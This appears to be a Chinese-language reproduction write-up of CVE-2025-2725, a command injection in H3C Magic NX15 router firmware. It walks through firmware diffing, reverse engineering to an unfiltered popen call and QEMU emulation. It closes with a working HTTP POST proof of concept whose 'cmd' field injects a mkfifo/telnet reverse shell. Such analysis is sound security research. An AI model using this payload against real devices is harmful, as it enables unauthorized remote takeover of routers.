# H3C-Magic-NX15 cve-2025-2725 复现分析
固件下载地址:👉https://www.h3c.com/cn/Service/Document_Software/Software_Download/Consume_product/Catalog/H3C_N/NX15/?CHID=746147&v=612
由 vulndb 概括:
H3C Magic NX15、Magic NX30 Pro、Magic NX400、Magic R3010 和 Magic BE18000(V100R014 及更高版本)中发现一个被列为严重(Critical)的漏洞。该漏洞影响了 HTTP POST 请求处理程序组件中文件 /api/login/auth
的一些未知功能。操作会导致命令注入。该漏洞编号为 CVE-2025-2725。此攻击需要访问本地网络。此外,还存在一个可用的漏洞利用程序。建议升级受影响的组件。
# 复现流程
从厂家下载固件,并进行 binwalk 解包。由厂家已经更了一个新固件,同时进行解包,看一下里面哪里发生了改变。
可以发现
这些函数都有修改过
int __fastcall FCGI_WizardProtoProcess(const char *a1, int a2, int a3)
看一下这个函数,被传入三个参数,大概率是同样调用的函数。我们需要交叉引用定位到上游函数。
int __fastcall FCGI_WizardProcess(const char *a1)
再次定位,可以定位到主函数。
int __fastcall ftext(int argc, const char **argv, const char **envp)
可以发现进入分支是匹配 v11 == /wizard
v10 = getenv(“PATH_INFO”);
…
v11 = (const char *)v10;
…
else if ( !strncmp(v11, “/wizard”, 7) )
{
FCGI_WizardProcess(v11);
}
v11 是请求路径 - PATH_INFO
接下来进行分析 int __fastcall FCGI_WizardProtoProcess(const char *a1, int a2, int a3)
路径存在则不会进入此分支。问题不大。
要有请求体长度
这些路径都是我们不能匹配到的。
所以进入此函数,需要匹配到上面请求路径即可,v15 则是请求路径长度。
FCGI_WizardProtoProcess(path_info, path_lent, ct_lent);
至此三个参数已经明晰。
在 FCGI_WizardProtoProcess
这个分支并没有发现命令注入的点,所以不能进入此分支。
所以,我们不如先去定位到执行系统命令函数。
所以在此函数找到内找到 popen 函数,大概率猜测是 FCGI 库内的执行系统命令的函数,找找这个就行,分析函数内部逻辑即可
..[huan@huan-IOT-Virtual-Platform] - [~/桌面/IOT分析/H3C_Magic_NX15] - [六 4月 19, 01:41] | |
..[$] <()> grep -r FCGI_popen | |
grep: extractions/NX15V100R014.bin.extracted/1F0000/squashfs-root/usr/lib/libfcgi.so.0.0.0: 匹配到二进制文件 |
发现调用了 popen,所以这就是可以执行命令的函数。
从下向上分析。
并没有任何过滤,所以可以进行命令注入。
分析的差不多,接下来就使用 qemu 搭建虚拟环境。
# 搭建虚拟环境
主机内
sudo qemu-system-mipsel -nographic -M malta \ | |
-kernel vmlinux-2.6.32-5-4kc-malta \ | |
-hda debian_squeeze_mipsel_standard.qcow2 \ | |
-net nic,macaddr=52:54:00:12:34:56 \ | |
-net tap \ | |
-append "root=/dev/sda1 console=ttyS0" |
虚拟机内
传输文件
# 主机内 | |
tar -cvf squashfs-root.tar squashfs-root | |
sudo scp -o HostKeyAlgorithms=+ssh-rsa,ssh-dss -r -O squashfs-root.tar root@192.168.0.1:~/ | |
#虚拟机内 | |
tar -xvf squashfs-root.tar |
chroot 设置根目录
root@debian-mipsel:~/squashfs-root# mount -t proc /proc ./proc/ | |
root@debian-mipsel:~/squashfs-root# mount -o bind /dev ./dev/ | |
root@debian-mipsel:~/squashfs-root# chroot ../squashfs-root/ sh |
启动 web 服务
mkdir /var/run | |
mkdir /var/log/ | |
mkdir /var/log/lighttpd | |
./sbin/procd & | |
./sbin/ubusd & | |
./usr/sbin/lighttpd -D -f ./etc/lighttpd/lighttpd.conf & |
等待时间一会
虽然在加载,我们去查看接口
显示 200 估计没多大问题。
# 构造 POC
POST /api/wizard/getsyncpppoecfg HTTP/1.1 | |
Host: 192.168.0.1 | |
Content-Type: application/json;charset=utf-8 | |
Origin: http://192.168.0.1 | |
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0 | |
Accept: application/json, text/plain, */* | |
Accept-Encoding: gzip, deflate | |
Referer: http://192.168.0.1/login | |
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 | |
Content-Length: 108 | |
{"cmd":"'; mkfifo /tmp/f; /usr/bin/telnet 192.168.0.254 10001 < /tmp/f | /bin/sh > /tmp/f; rm /tmp/f; '"} |
cmd 是传进的 post 参数
至此攻击流程完毕,还有几个 CVE 流程跟这个一样。
CVE-2025-2725
CVE-2025-2726